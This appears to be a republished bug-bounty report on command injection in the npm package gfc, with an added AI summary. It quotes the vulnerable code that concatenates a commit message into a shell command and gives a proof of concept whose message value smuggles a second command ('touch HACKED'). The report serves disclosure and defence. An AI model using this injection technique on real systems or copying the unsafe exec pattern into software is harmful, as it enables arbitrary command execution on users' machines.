[gfc] Command Injection via insecure command formatting
The gfc module builds a shell command by concatenating user-supplied options, such as the commit message, without sanitisation. An attacker who can control these options could execute arbitrary commands on the victim's machine.
- Triaged in 4 hours
- Fixed in 5 months
- Disclosed after 6 months
I would like to report a Command Injection issue in the gfc module.
It allows to execute arbitrary commands on the victim's PC.
Module
module name: gfc
version: 2.0.2
npm page: https://www.npmjs.com/package/gfc
Module Description
Simple way to initialize a new git repository in an empty directory, add a file and do a first commit (or skip that part in a directory with files). Useful for unit tests and generators.
Module Stats
[15] weekly downloads
Vulnerability
Vulnerability Description
The issue occurs because a user input parameter is used inside a command that is executed without any proper sanitization. Here's the code which causes the issue:
// https://github.com/jonschlinkert/gfc/blob/master/index.js#L80
...
const cp = require('child_process');
...
const firstCommit = async(cwd, options, callback) => {
....
const opts = Object.assign({ cwd: cwd }, options);
....
.then(async() => {
return await exec(createArgs(opts), execOpts); //<-- options
});
...
function createArgs(options) {
const opts = Object.assign({}, defaults, options);
const args = ['git init'];
const files = opts.files ? arrayify(opts.files).join(' ') : '.';
let message = opts.message || 'First commit';
if (message[0] !== '"' && message.slice(-1) !== '"') {
message = `"${message}"`; //<-- injection
}
// backwards compatibility
if (opts.skipCommit === true) {
opts.commit = false;
}
if (opts.forceFile === true || (opts.file !== false && isEmpty(opts.cwd))) {
args.push('touch "' + opts.file.path + '"');
if (opts.file.contents) {
args.push('echo "' + opts.file.contents.toString() + '" >> ' + opts.file.path);
}
}
if (opts.commit !== false) {
args.push(`git add ${files}`);
args.push(`git commit -m ${message}`);
}
if (typeof opts.remote === 'string' && isGitUrl(opts.remote)) {
args.push(`git remote add origin ${opts.remote}`);
if (opts.push === true) {
args.push('git push --force origin master:master');
}
}
return args.join(' && ');
}
The arguments options is used to build the command that is passed to the child_process.exec function without any sanitization.
Steps To Reproduce:
-
create a directory for testing
mkdir poccd poc/
-
install
gfcmodule:npm i gfc
-
create the following PoC JavaScript file (
poc.js):
const firstCommit = require('gfc');
const options = {message: '""; touch HACKED;'};
firstCommit('.', options, function(err) {});
- make sure that the
HACKEDfile does not exist:ls
- execute the
poc.jsfile:node poc.js
- the
HACKEDfile is created:ls
Patch
Do not concatenate/format commands using insecure user's input. Always check and sanitize it.
In my opinion, it's better to use child_process.execFile or child_process.spawn functions instead of child_process.exec.
Supporting Material/References:
- OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
- NODEJS VERSION: v14.1.0
- NPM VERSION: 6.14.5
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Thank you for your time.
best regards,
d3lla
Impact
Command Injection on gfc module via insecure command formatting.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could execute arbitrary commands on the victim's PC, but only if they can control the options passed to the module.
What the attacker needed
Victim uses gfc with attacker-controlled options
The fix
The module should avoid concatenating user input into shell commands and instead use child_process.execFile or child_process.spawn with separate arguments.
How it was found
- Create a test directory and install the gfc module.
- Create a JavaScript file that calls the module with a crafted message option.
- Confirm that a file named HACKED does not exist.
- Run the JavaScript file with Node.js.
- Observe that the HACKED file has been created.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a program runs a system command, it must treat user input as data, not as part of the command. Here, the module pasted the user's commit message directly into a shell command, so special characters like semicolons could end the intended command and start a new one. This let an attacker run their own commands on the computer running the module.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.